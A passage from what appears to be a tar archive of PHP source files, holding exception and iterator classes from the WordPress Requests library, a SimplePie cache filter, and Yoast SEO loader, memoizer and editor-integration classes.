	 * Create a new argument count exception with a standardized text.
	 *
	 * @param string $expected The argument count expected as a phrase.
	 *                         For example: `at least 2 arguments` or `exactly 1 argument`.
	 * @param int    $received The actual argument count received.
	 * @param string $type     Exception type.
	 *
	 * @return \WpOrg\Requests\Exception\ArgumentCount
	 */
	public static function create($expected, $received, $type) {
		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace
		$stack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);

		return new self(
			sprintf(
				'%s::%s() expects %s, %d given',
				$stack[1]['class'],
				$stack[1]['function'],
				$expected,
				$received
			),
			$type
		);
	}
}
Exception/InvalidArgument.php000066600000002122152164665240012320 0ustar00<?php

namespace WpOrg\Requests\Exception;

use InvalidArgumentException;

/**
 * Exception for an invalid argument passed.
 *
 * @package Requests\Exceptions
 * @since   2.0.0
 */
final class InvalidArgument extends InvalidArgumentException {

	/**
	 * Create a new invalid argument exception with a standardized text.
	 *
	 * @param int    $position The argument position in the function signature. 1-based.
	 * @param string $name     The argument name in the function signature.
	 * @param string $expected The argument type expected as a string.
	 * @param string $received The actual argument type received.
	 *
	 * @return \WpOrg\Requests\Exception\InvalidArgument
	 */
	public static function create($position, $name, $expected, $received) {
		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace
		$stack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);

		return new self(
			sprintf(
				'%s::%s(): Argument #%d (%s) must be of type %s, %s given',
				$stack[1]['class'],
				$stack[1]['function'],
				$position,
				$name,
				$expected,
				$received
			)
		);
	}
}
Utility/FilteredIterator.php000066600000004155152164665240012214 0ustar00<?php
/**
 * Iterator for arrays requiring filtered values
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests\Utility;

use ArrayIterator;
use ReturnTypeWillChange;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Iterator for arrays requiring filtered values
 *
 * @package Requests\Utilities
 */
final class FilteredIterator extends ArrayIterator {
	/**
	 * Callback to run as a filter
	 *
	 * @var callable
	 */
	private $callback;

	/**
	 * Create a new iterator
	 *
	 * @param array    $data     The array or object to be iterated on.
	 * @param callable $callback Callback to be called on each value
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not iterable.
	 */
	public function __construct($data, $callback) {
		if (InputValidator::is_iterable($data) === false) {
			throw InvalidArgument::create(1, '$data', 'iterable', gettype($data));
		}

		parent::__construct($data);

		if (is_callable($callback)) {
			$this->callback = $callback;
		}
	}

	/**
	 * Prevent unserialization of the object for security reasons.
	 *
	 * @phpcs:disable PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__unserializeFound
	 *
	 * @param array $data Restored array of data originally serialized.
	 *
	 * @return void
	 */
	#[ReturnTypeWillChange]
	public function __unserialize($data) {}
	// phpcs:enable

	/**
	 * Perform reinitialization tasks.
	 *
	 * Prevents a callback from being injected during unserialization of an object.
	 *
	 * @return void
	 */
	public function __wakeup() {
		unset($this->callback);
	}

	/**
	 * Get the current item's value after filtering
	 *
	 * @return string
	 */
	#[ReturnTypeWillChange]
	public function current() {
		$value = parent::current();

		if (is_callable($this->callback)) {
			$value = call_user_func($this->callback, $value);
		}

		return $value;
	}

	/**
	 * Prevent creating a PHP value from a stored representation of the object for security reasons.
	 *
	 * @param string $data The serialized string.
	 *
	 * @return void
	 */
	#[ReturnTypeWillChange]
	public function unserialize($data) {}
}
Cache/CallableNameFilter.php000066600000006452152164676230011755 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2022 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

/**
 * Creating a cache filename with callables
 *
 * @package SimplePie
 * @subpackage Caching
 */
final class CallableNameFilter implements NameFilter
{
    /**
     * @var callable
     */
    private $callable;

    public function __construct(callable $callable)
    {
        $this->callable = $callable;
    }

    /**
     * Method to create cache filename with.
     *
     * The returning name MUST follow the rules for keys in PSR-16.
     *
     * @link https://www.php-fig.org/psr/psr-16/
     *
     * The returning name MUST be a string of at least one character
     * that uniquely identifies a cached item, MUST only contain the
     * characters A-Z, a-z, 0-9, _, and . in any order in UTF-8 encoding
     * and MUST not longer then 64 characters. The following characters
     * are reserved for future extensions and MUST NOT be used: {}()/\@:
     *
     * A provided implementing library MAY support additional characters
     * and encodings or longer lengths, but MUST support at least that
     * minimum.
     *
     * @param string $name The name for the cache will be most likly an url with query string
     *
     * @return string the new cache name
     */
    public function filter(string $name): string
    {
        return call_user_func($this->callable, $name);
    }
}
memoizers/meta-tags-context-memoizer.php000066600000012063152204306260014466 0ustar00<?php

namespace Yoast\WP\SEO\Memoizers;

use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Helpers\Blocks_Helper;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * The meta tags context memoizer.
 */
class Meta_Tags_Context_Memoizer {

	/**
	 * The blocks helper.
	 *
	 * @var Blocks_Helper
	 */
	protected $blocks;

	/**
	 * The current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	protected $current_page;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The meta tags context.
	 *
	 * @var Meta_Tags_Context
	 */
	protected $context_prototype;

	/**
	 * The presentation memoizer.
	 *
	 * @var Presentation_Memoizer
	 */
	protected $presentation_memoizer;

	/**
	 * The meta tags context.
	 *
	 * @var Meta_Tags_Context[]
	 */
	protected $cache = [];

	/**
	 * Meta_Tags_Context_Memoizer constructor.
	 *
	 * @param Blocks_Helper         $blocks                The blocks helper.
	 * @param Current_Page_Helper   $current_page          The current page helper.
	 * @param Indexable_Repository  $repository            Indexable repository.
	 * @param Meta_Tags_Context     $context_prototype     The meta tags context prototype.
	 * @param Presentation_Memoizer $presentation_memoizer Memoizer for the presentation.
	 */
	public function __construct(
		Blocks_Helper $blocks,
		Current_Page_Helper $current_page,
		Indexable_Repository $repository,
		Meta_Tags_Context $context_prototype,
		Presentation_Memoizer $presentation_memoizer
	) {
		$this->blocks                = $blocks;
		$this->current_page          = $current_page;
		$this->repository            = $repository;
		$this->context_prototype     = $context_prototype;
		$this->presentation_memoizer = $presentation_memoizer;
	}

	/**
	 * Gets the meta tags context for the current page.
	 * This function is memoized so every call will return the same result.
	 *
	 * @return Meta_Tags_Context The meta tags context.
	 */
	public function for_current_page() {
		if ( ! isset( $this->cache['current_page'] ) ) {
			// First reset the query to ensure we actually have the current page.
			global $wp_query, $post;

			$old_wp_query = $wp_query;
			$old_post     = $post;
			// phpcs:ignore WordPress.WP.DiscouragedFunctions.wp_reset_query_wp_reset_query -- Reason: The recommended function, wp_reset_postdata, doesn't reset wp_query.
			\wp_reset_query();

			$indexable = $this->repository->for_current_page();
			$page_type = $this->current_page->get_page_type();

			if ( $page_type === 'Fallback' ) {
				// Do not cache the context if it's a fallback page.
				// The likely cause for this is that this function was called before the query was loaded.
				$context = $this->get( $indexable, $page_type );

				// Restore the previous query.
				// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the query.
				$GLOBALS['wp_query'] = $old_wp_query;
				// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the post.
				$GLOBALS['post'] = $old_post;

				return $context;
			}
			$this->cache['current_page'] = $this->get( $indexable, $page_type );

			// Restore the previous query.
			// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the query.
			$GLOBALS['wp_query'] = $old_wp_query;
			// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the post.
			$GLOBALS['post'] = $old_post;
		}

		return $this->cache['current_page'];
	}

	/**
	 * Gets the meta tags context given an indexable.
	 * This function is memoized by the indexable so every call with the same indexable will yield the same result.
	 *
	 * @param Indexable $indexable The indexable.
	 * @param string    $page_type The page type.
	 *
	 * @return Meta_Tags_Context The meta tags context.
	 */
	public function get( Indexable $indexable, $page_type ) {
		if ( ! isset( $this->cache[ $indexable->id ] ) ) {
			$blocks = [];
			$post   = null;
			if ( $indexable->object_type === 'post' ) {
				$post   = \get_post( $indexable->object_id );
				$blocks = $this->blocks->get_all_blocks_from_content( $post->post_content );
			}

			$context = $this->context_prototype->of(
				[
					'indexable' => $indexable,
					'blocks'    => $blocks,
					'post'      => $post,
					'page_type' => $page_type,
				]
			);

			$context->presentation = $this->presentation_memoizer->get( $indexable, $context, $page_type );

			$this->cache[ $indexable->id ] = $context;
		}

		return $this->cache[ $indexable->id ];
	}

	/**
	 * Clears the memoization of either a specific indexable or all indexables.
	 *
	 * @param Indexable|int|string|null $indexable Optional. The indexable or indexable id to clear the memoization of.
	 *
	 * @return void
	 */
	public function clear( $indexable = null ) {
		if ( $indexable instanceof Indexable ) {
			unset( $this->cache[ $indexable->id ] );
			return;
		}
		if ( $indexable !== null ) {
			unset( $this->cache[ $indexable ] );
			return;
		}
		$this->cache = [];
	}
}
loader.php000066600000015166152204306260006540 0ustar00<?php

namespace Yoast\WP\SEO;

use Throwable;
use WP_CLI;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Class that manages loading integrations if and only if all their conditionals are met.
 */
class Loader {

	/**
	 * The registered integrations.
	 *
	 * @var string[]
	 */
	protected $integrations = [];

	/**
	 * The registered integrations.
	 *
	 * @var string[]
	 */
	protected $initializers = [];

	/**
	 * The registered routes.
	 *
	 * @var string[]
	 */
	protected $routes = [];

	/**
	 * The registered commands.
	 *
	 * @var string[]
	 */
	protected $commands = [];

	/**
	 * The registered migrations.
	 *
	 * @var string[]
	 */
	protected $migrations = [];

	/**
	 * The dependency injection container.
	 *
	 * @var ContainerInterface
	 */
	protected $container;

	/**
	 * Loader constructor.
	 *
	 * @param ContainerInterface $container The dependency injection container.
	 */
	public function __construct( ContainerInterface $container ) {
		$this->container = $container;
	}

	/**
	 * Registers an integration.
	 *
	 * @param string $integration_class The class name of the integration to be loaded.
	 *
	 * @return void
	 */
	public function register_integration( $integration_class ) {
		$this->integrations[] = $integration_class;
	}

	/**
	 * Registers an initializer.
	 *
	 * @param string $initializer_class The class name of the initializer to be loaded.
	 *
	 * @return void
	 */
	public function register_initializer( $initializer_class ) {
		$this->initializers[] = $initializer_class;
	}

	/**
	 * Registers a route.
	 *
	 * @param string $route_class The class name of the route to be loaded.
	 *
	 * @return void
	 */
	public function register_route( $route_class ) {
		$this->routes[] = $route_class;
	}

	/**
	 * Registers a command.
	 *
	 * @param string $command_class The class name of the command to be loaded.
	 *
	 * @return void
	 */
	public function register_command( $command_class ) {
		$this->commands[] = $command_class;
	}

	/**
	 * Registers a migration.
	 *
	 * @param string $plugin          The plugin the migration belongs to.
	 * @param string $version         The version of the migration.
	 * @param string $migration_class The class name of the migration to be loaded.
	 *
	 * @return void
	 */
	public function register_migration( $plugin, $version, $migration_class ) {
		if ( ! \array_key_exists( $plugin, $this->migrations ) ) {
			$this->migrations[ $plugin ] = [];
		}

		$this->migrations[ $plugin ][ $version ] = $migration_class;
	}

	/**
	 * Loads all registered classes if their conditionals are met.
	 *
	 * @return void
	 */
	public function load() {
		$this->load_initializers();

		if ( ! \did_action( 'init' ) ) {
			\add_action( 'init', [ $this, 'load_integrations' ] );
		}
		else {
			$this->load_integrations();
		}

		\add_action( 'rest_api_init', [ $this, 'load_routes' ] );

		if ( \defined( 'WP_CLI' ) && \WP_CLI ) {
			$this->load_commands();
		}
	}

	/**
	 * Returns all registered migrations.
	 *
	 * @param string $plugin The plugin to get the migrations for.
	 *
	 * @return string[]|false The registered migrations. False if no migrations were registered.
	 */
	public function get_migrations( $plugin ) {
		if ( ! \array_key_exists( $plugin, $this->migrations ) ) {
			return false;
		}

		return $this->migrations[ $plugin ];
	}

	/**
	 * Loads all registered commands.
	 *
	 * @return void
	 */
	protected function load_commands() {
		foreach ( $this->commands as $class ) {
			$command = $this->get_class( $class );

			if ( $command === null ) {
				continue;
			}

			WP_CLI::add_command( $class::get_namespace(), $command );
		}
	}

	/**
	 * Loads all registered initializers if their conditionals are met.
	 *
	 * @return void
	 */
	protected function load_initializers() {
		foreach ( $this->initializers as $class ) {
			if ( ! $this->conditionals_are_met( $class ) ) {
				continue;
			}

			$initializer = $this->get_class( $class );

			if ( $initializer === null ) {
				continue;
			}

			$initializer->initialize();
		}
	}

	/**
	 * Loads all registered integrations if their conditionals are met.
	 *
	 * @return void
	 */
	public function load_integrations() {
		foreach ( $this->integrations as $class ) {
			if ( ! $this->conditionals_are_met( $class ) ) {
				continue;
			}

			$integration = $this->get_class( $class );

			if ( $integration === null ) {
				continue;
			}

			$integration->register_hooks();
		}
	}

	/**
	 * Loads all registered routes if their conditionals are met.
	 *
	 * @return void
	 */
	public function load_routes() {
		foreach ( $this->routes as $class ) {
			if ( ! $this->conditionals_are_met( $class ) ) {
				continue;
			}

			$route = $this->get_class( $class );

			if ( $route === null ) {
				continue;
			}

			$route->register_routes();
		}
	}

	/**
	 * Checks if all conditionals of a given loadable are met.
	 *
	 * @param string $loadable_class The class name of the loadable.
	 *
	 * @return bool Whether all conditionals of the loadable are met.
	 */
	protected function conditionals_are_met( $loadable_class ) {
		// In production environments do not fatal if the class does not exist but log and fail gracefully.
		if ( \YOAST_ENVIRONMENT === 'production' && ! \class_exists( $loadable_class ) ) {
			if ( \defined( 'WP_DEBUG' ) && \WP_DEBUG ) {
				// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
				\error_log(
					\sprintf(
						/* translators: %1$s expands to Yoast SEO, %2$s expands to the name of the class that could not be found. */
						\__( '%1$s attempted to load the class %2$s but it could not be found.', 'wordpress-seo' ),
						'Yoast SEO',
						$loadable_class
					)
				);
			}
			return false;
		}

		$conditionals = $loadable_class::get_conditionals();
		foreach ( $conditionals as $class ) {
			$conditional = $this->get_class( $class );
			if ( $conditional === null || ! $conditional->is_met() ) {
				return false;
			}
		}

		return true;
	}

	/**
	 * Gets a class from the container.
	 *
	 * @param string $class_name The class name.
	 *
	 * @return object|null The class or, in production environments, null if it does not exist.
	 *
	 * @throws Throwable If the class does not exist in development environments.
	 */
	protected function get_class( $class_name ) {
		try {
			return $this->container->get( $class_name );
		} catch ( Throwable $e ) {
			// In production environments do not fatal if the class could not be constructed but log and fail gracefully.
			if ( \YOAST_ENVIRONMENT === 'production' ) {
				if ( \defined( 'WP_DEBUG' ) && \WP_DEBUG ) {
					// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
					\error_log( $e->getMessage() );
				}
				return null;
			}
			throw $e;
		}
	}
}
editors/domain/integrations/integration-data-provider-interface.php000066600000001560152204306260021731 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Editors\Domain\Integrations;

/**
 * Describes the interface for integration domain objects which can be enabled or not
 */
interface Integration_Data_Provider_Interface {

	/**
	 * If the integration is activated.
	 *
	 * @return bool If the integration is activated.
	 */
	public function is_enabled(): bool;

	/**
	 * Return this object represented by a key value array.
	 *
	 * @return array<string, bool> Returns the name and if the feature is enabled.
	 */
	public function to_array(): array;

	/**
	 * Returns this object represented by a key value structure that is compliant with the script data array.
	 *
	 * @return array<string, bool> Returns the legacy key and if the feature is enabled.
	 */
	public function to_legacy_array(): array;
}
editors/domain/analysis-features/analysis-features-list.php000066600000002410152204306260020245 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Editors\Domain\Analysis_Features;

/**
 * This class describes a list of analysis features.
 */
class Analysis_Features_List {

	/**
	 * The features.
	 *
	 * @var array<Analysis_Feature>
	 */
	private $features = [];

	/**
	 * Adds an analysis feature to the list.
	 *
	 * @param Analysis_Feature $feature The analysis feature to add.
	 *
	 * @return void
	 */
	public function add_feature( Analysis_Feature $feature ): void {
		$this->features[] = $feature;
	}

	/**
	 * Parses the feature list to a legacy ready array representation.
	 *
	 * @return array<string, bool> The list presented as a key value representation.
	 */
	public function parse_to_legacy_array(): array {
		$array = [];
		foreach ( $this->features as $feature ) {
			$array = \array_merge( $array, $feature->to_legacy_array() );
		}

		return $array;
	}

	/**
	 * Parses the feature list to an array representation.
	 *
	 * @return array<string, bool> The list presented as a key value representation.
	 */
	public function to_array(): array {
		$array = [];
		foreach ( $this->features as $feature ) {
			$array = \array_merge( $array, $feature->to_array() );
		}

		return $array;
	}
}
editors/domain/seo/description.php000066600000002432152204306260013313 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Domain\Seo;

/**
 * This class describes the description SEO data.
 */
class Description implements Seo_Plugin_Data_Interface {

	/**
	 * The formatted description date.
	 *
	 * @var string
	 */
	private $description_date;

	/**
	 * The description template.
	 *
	 * @var string
	 */
	private $description_template;

	/**
	 * The constructor.
	 *
	 * @param string $description_date     The description date.
	 * @param string $description_template The description template.
	 */
	public function __construct( string $description_date, string $description_template ) {
		$this->description_date     = $description_date;
		$this->description_template = $description_template;
	}

	/**
	 * Returns the data as an array format.
	 *
	 * @return array<string>
	 */
	public function to_array(): array {
		return [
			'description_template' => $this->description_template,
			'description_date'     => $this->description_date,
		];
	}

	/**
	 * Returns the data as an array format meant for legacy use.
	 *
	 * @return array<string>
	 */
	public function to_legacy_array(): array {
		return [
			'metadesc_template'   => $this->description_template,
			'metaDescriptionDate' => $this->description_date,
		];
	}
}
editors/domain/seo/social.php000066600000004422152204306260012243 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Domain\Seo;

/**
 * This class describes the social SEO data.
 */
class Social implements Seo_Plugin_Data_Interface {

	/**
	 * The Social title template.
	 *
	 * @var string
	 */
	private $social_title_template;

	/**
	 * The Social description template.
	 *
	 * @var string
	 */
	private $social_description_template;

	/**
	 * The Social image template.
	 *
	 * @var string
	 */
	private $social_image_template;

	/**
	 * The first content image for the social preview.
	 *
	 * @var string
	 */
	private $social_first_content_image;

	/**
	 * The constructor.
	 *
	 * @param string $social_title_template       The Social title template.
	 * @param string $social_description_template The Social description template.
	 * @param string $social_image_template       The Social image template.
	 * @param string $social_first_content_image  The first content image for the social preview.
	 */
	public function __construct(
		string $social_title_template,
		string $social_description_template,
		string $social_image_template,
		string $social_first_content_image
	) {
		$this->social_title_template       = $social_title_template;
		$this->social_description_template = $social_description_template;
		$this->social_image_template       = $social_image_template;
		$this->social_first_content_image  = $social_first_content_image;
	}

	/**
	 * Returns the data as an array format.
	 *
	 * @return array<string>
	 */
	public function to_array(): array {
		return [
			'social_title_template'              => $this->social_title_template,
			'social_description_template'        => $this->social_description_template,
			'social_image_template'              => $this->social_image_template,
			'first_content_image_social_preview' => $this->social_first_content_image,
		];
	}

	/**
	 * Returns the data as an array format meant for legacy use.
	 *
	 * @return array<string>
	 */
	public function to_legacy_array(): array {
		return [
			'social_title_template'       => $this->social_title_template,
			'social_description_template' => $this->social_description_template,
			'social_image_template'       => $this->social_image_template,
			'first_content_image'         => $this->social_first_content_image,
		];
	}
}
editors/domain/seo/title.php000066600000002544152204306260012115 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Domain\Seo;

/**
 * This class describes the title SEO data.
 */
class Title implements Seo_Plugin_Data_Interface {

	/**
	 * The title template.
	 *
	 * @var string
	 */
	private $title_template;

	/**
	 * The title template without the fallback.
	 *
	 * @var string
	 */
	private $title_template_no_fallback;

	/**
	 * The constructor.
	 *
	 * @param string $title_template             The title template.
	 * @param string $title_template_no_fallback The title template without the fallback.
	 */
	public function __construct( string $title_template, string $title_template_no_fallback ) {
		$this->title_template             = $title_template;
		$this->title_template_no_fallback = $title_template_no_fallback;
	}

	/**
	 * Returns the data as an array format.
	 *
	 * @return array<string>
	 */
	public function to_array(): array {
		return [
			'title_template'             => $this->title_template,
			'title_template_no_fallback' => $this->title_template_no_fallback,
		];
	}

	/**
	 * Returns the data as an array format meant for legacy use.
	 *
	 * @return array<string>
	 */
	public function to_legacy_array(): array {
		return [
			'title_template'             => $this->title_template,
			'title_template_no_fallback' => $this->title_template_no_fallback,
		];
	}
}
editors/domain/seo/keyphrase.php000066600000002713152204306260012765 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Domain\Seo;

/**
 * This class describes the keyphrase SEO data.
 */
class Keyphrase implements Seo_Plugin_Data_Interface {

	/**
	 * The keyphrase and the associated posts that use it.
	 *
	 * @var array<string>
	 */
	private $keyphrase_usage_count;

	/**
	 * The post types for the given post IDs.
	 *
	 * @var array<string>
	 */
	private $keyphrase_usage_per_type;

	/**
	 * The constructor.
	 *
	 * @param array<string> $keyphrase_usage_count    The keyphrase and the associated posts that use it.
	 * @param array<string> $keyphrase_usage_per_type The post types for the given post IDs.
	 */
	public function __construct( array $keyphrase_usage_count, array $keyphrase_usage_per_type ) {
		$this->keyphrase_usage_count    = $keyphrase_usage_count;
		$this->keyphrase_usage_per_type = $keyphrase_usage_per_type;
	}

	/**
	 * Returns the data as an array format.
	 *
	 * @return array<string>
	 */
	public function to_array(): array {
		return [
			'keyphrase_usage'          => $this->keyphrase_usage_count,
			'keyphrase_usage_per_type' => $this->keyphrase_usage_per_type,
		];
	}

	/**
	 * Returns the data as an array format meant for legacy use.
	 *
	 * @return array<string>
	 */
	public function to_legacy_array(): array {
		return [
			'keyword_usage'            => $this->keyphrase_usage_count,
			'keyword_usage_post_types' => $this->keyphrase_usage_per_type,
		];
	}
}
editors/application/site/website-information-repository.php000066600000002714152204306260020407 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Application\Site;

use Yoast\WP\SEO\Editors\Framework\Site\Post_Site_Information;
use Yoast\WP\SEO\Editors\Framework\Site\Term_Site_Information;

/**
 * This class manages getting the two site information wrappers.
 *
 * @makePublic
 */
class Website_Information_Repository {

	/**
	 * The post site information wrapper.
	 *
	 * @var Post_Site_Information
	 */
	private $post_site_information;

	/**
	 * The term site information wrapper.
	 *
	 * @var Term_Site_Information
	 */
	private $term_site_information;

	/**
	 * The constructor.
	 *
	 * @param Post_Site_Information $post_site_information The post specific wrapper.
	 * @param Term_Site_Information $term_site_information The term specific wrapper.
	 */
	public function __construct(
		Post_Site_Information $post_site_information,
		Term_Site_Information $term_site_information
	) {
		$this->post_site_information = $post_site_information;
		$this->term_site_information = $term_site_information;
	}

	/**
	 * Returns the Post Site Information container.
	 *
	 * @return Post_Site_Information
	 */
	public function get_post_site_information(): Post_Site_Information {
		return $this->post_site_information;
	}

	/**
	 * Returns the Term Site Information container.
	 *
	 * @return Term_Site_Information
	 */
	public function get_term_site_information(): Term_Site_Information {
		return $this->term_site_information;
	}
}
editors/application/integrations/integration-information-repository.php000066600000002027152204306260023027 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Application\Integrations;

use Yoast\WP\SEO\Editors\Domain\Integrations\Integration_Data_Provider_Interface;

/**
 * The repository to get all enabled integrations.
 *
 * @makePublic
 */
class Integration_Information_Repository {

	/**
	 * All plugin integrations.
	 *
	 * @var Integration_Data_Provider_Interface[]
	 */
	private $plugin_integrations;

	/**
	 * The constructor.
	 *
	 * @param Integration_Data_Provider_Interface ...$plugin_integrations All integrations.
	 */
	public function __construct( Integration_Data_Provider_Interface ...$plugin_integrations ) {
		$this->plugin_integrations = $plugin_integrations;
	}

	/**
	 * Returns the analysis list.
	 *
	 * @return array<array<string, bool>> The parsed list.
	 */
	public function get_integration_information(): array {
		$array = [];
		foreach ( $this->plugin_integrations as $feature ) {
			$array = \array_merge( $array, $feature->to_legacy_array() );
		}
		return $array;
	}
}
editors/framework/cornerstone-content.php000066600000002164152204306260014743 0ustar00<?php

namespace Yoast\WP\SEO\Editors\Framework;

use Yoast\WP\SEO\Editors\Domain\Analysis_Features\Analysis_Feature_Interface;
use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Describes if the Cornerstone content features is enabled.
 */
class Cornerstone_Content implements Analysis_Feature_Interface {

	public const NAME = 'cornerstoneContent';

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * If cornerstone is enabled.
	 *
	 * @return bool If cornerstone is enabled.
	 */
	public function is_enabled(): bool {
		return (bool) $this->options_helper->get( 'enable_cornerstone_content', false );
	}

	/**
	 * Gets the name.
	 *
	 * @return string The name.
	 */
	public function get_name(): string {
		return self::NAME;
	}

	/**
	 * Gets the legacy key.
	 *
	 * @return string The legacy key.
	 */
	public function get_legacy_key(): string {
		return 'cornerstoneActive';
	}
}
editors/framework/word-form-recognition.php000066600000002256152204306260015166 0ustar00<?php

namespace Yoast\WP\SEO\Editors\Framework;

use Yoast\WP\SEO\Editors\Domain\Analysis_Features\Analysis_Feature_Interface;
use Yoast\WP\SEO\Helpers\Language_Helper;

/**
 * Describes if the word for recognition analysis is enabled
 */
class Word_Form_Recognition implements Analysis_Feature_Interface {

	public const NAME = 'wordFormRecognition';

	/**
	 * The language helper.
	 *
	 * @var Language_Helper
	 */
	private $language_helper;

	/**
	 * The constructor.
	 *
	 * @param Language_Helper $language_helper The language helper.
	 */
	public function __construct( Language_Helper $language_helper ) {
		$this->language_helper = $language_helper;
	}

	/**
	 * If this analysis is enabled.
	 *
	 * @return bool If this analysis is enabled.
	 */
	public function is_enabled(): bool {
		return $this->language_helper->is_word_form_recognition_active( $this->language_helper->get_language() );
	}

	/**
	 * Returns the name of the object.
	 *
	 * @return string
	 */
	public function get_name(): string {
		return self::NAME;
	}

	/**
	 * Gets the legacy key.
	 *
	 * @return string The legacy key.
	 */
	public function get_legacy_key(): string {
		return 'wordFormRecognitionActive';
	}
}
editors/framework/integrations/woocommerce.php000066600000003077152204306260015763 0ustar00<?php
// @phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- This namespace should reflect the namespace of the original class.
namespace Yoast\WP\SEO\Editors\Framework\Integrations;

use Yoast\WP\SEO\Conditionals\WooCommerce_Conditional;
use Yoast\WP\SEO\Editors\Domain\Integrations\Integration_Data_Provider_Interface;

/**
 * Describes if the Woocommerce plugin is enabled.
 */
class WooCommerce implements Integration_Data_Provider_Interface {

	/**
	 * The WooCommerce conditional.
	 *
	 * @var WooCommerce_Conditional
	 */
	private $woocommerce_conditional;

	/**
	 * The constructor.
	 *
	 * @param WooCommerce_Conditional $woocommerce_conditional The WooCommerce conditional.
	 */
	public function __construct( WooCommerce_Conditional $woocommerce_conditional ) {
		$this->woocommerce_conditional = $woocommerce_conditional;
	}

	/**
	 * If the plugin is activated.
	 *
	 * @return bool If the plugin is activated.
	 */
	public function is_enabled(): bool {
		return $this->woocommerce_conditional->is_met();
	}

	/**
	 * Return this object represented by a key value array.
	 *
	 * @return array<string, bool> Returns the name and if the feature is enabled.
	 */
	public function to_array(): array {
		return [ 'isWooCommerceActive' => $this->is_enabled() ];
	}

	/**
	 * Returns this object represented by a key value structure that is compliant with the script data array.
	 *
	 * @return array<string, bool> Returns the legacy key and if the feature is enabled.
	 */
	public function to_legacy_array(): array {
		return [ 'isWooCommerceActive' => $this->is_enabled() ];
	}
}
editors/framework/integrations/jetpack-markdown.php000066600000003665152204306260016710 0ustar00<?php

